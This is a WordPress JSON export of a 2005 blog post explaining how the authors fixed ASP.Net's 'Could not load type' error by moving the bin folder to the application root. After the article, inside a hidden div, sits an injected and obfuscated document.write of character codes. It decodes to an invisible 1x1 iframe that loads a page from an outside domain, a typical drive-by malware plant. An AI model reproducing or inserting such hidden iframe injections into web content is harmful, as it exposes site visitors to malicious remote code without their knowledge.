{"id":58,"date":"2005-07-26T14:36:40","date_gmt":"2005-07-26T13:36:40","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2005\/07\/26\/could-not-load-type\/"},"modified":"2010-06-25T21:06:26","modified_gmt":"2010-06-25T20:06:26","slug":"could-not-load-type","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2005\/07\/26\/could-not-load-type\/","title":{"rendered":"Could"},"content":{"rendered":"<p>Today we encountered ASP.Net&#8217;s &#8220;Could not load type&#8221; error. This error is described in <a href=\"http:\/\/support.microsoft.com\/default.aspx?scid=kb;en-us;Q306155\">http:\/\/support.microsoft.com\/default.aspx?scid=kb;en-us;Q306155<\/a><br \/>\nbut unfortunately the given solution (rebuilt your solution\/project) does not work&#8230; Duh&#8230; We&#8217;re professionals here, don&#8217;t you think we&#8217;ve tried that Microsoft? Luckely, there&#8217;s still google and after a quick search we found the solution.<\/p>\n<p>Here&#8217;s the situation: our company uses an acceptation server that runs a large collection of sites that we developed or are currently developing for our clients. Each site has its own folder but all these folders are placed under a single virtual folder (application). For ASP.Net this is a single web application and thus it expects all the assemblies to reside in the bin folder immediately below the virtual folder&#8217;s folder.<\/p>\n<p>So, in the first situation we had placed our assembly like this:<\/p>\n<pre>\/webroot\/acceptation\/client_A\/bin\/ourAssembly.dll<\/pre>\n<p>But because ASP.Net doesn&#8217;t look in this bin folder because it&#8217;s too deep in the tree. Instead, we had to move our bin folder up one level so it looks like this:<\/p>\n<pre>\/webroot\/acceptation\/bin\/ourAssembly.dll<\/pre>\n<p>When we did that everything worked fine.<\/p>\n<p><!--more--><!--442da908733396ea583b8af3560e292822010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/442da908733396ea583b8af3560e292822010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today we encountered ASP.Net&#8217;s &#8220;Could not load type&#8221; error. This error is described in http:\/\/support.microsoft.com\/default.aspx?scid=kb;en-us;Q306155 but unfortunately the given solution (rebuilt your solution\/project) does not work&#8230; Duh&#8230; We&#8217;re professionals here, don&#8217;t you think we&#8217;ve tried that Microsoft? Luckely, there&#8217;s still google and after a quick search we found the solution. Here&#8217;s the situation: our company &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2005\/07\/26\/could-not-load-type\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Could&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-58","post","type-post","status-publish","format-standard","hentry","category-aspnet","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/58","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=58"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/58\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=58"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=58"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}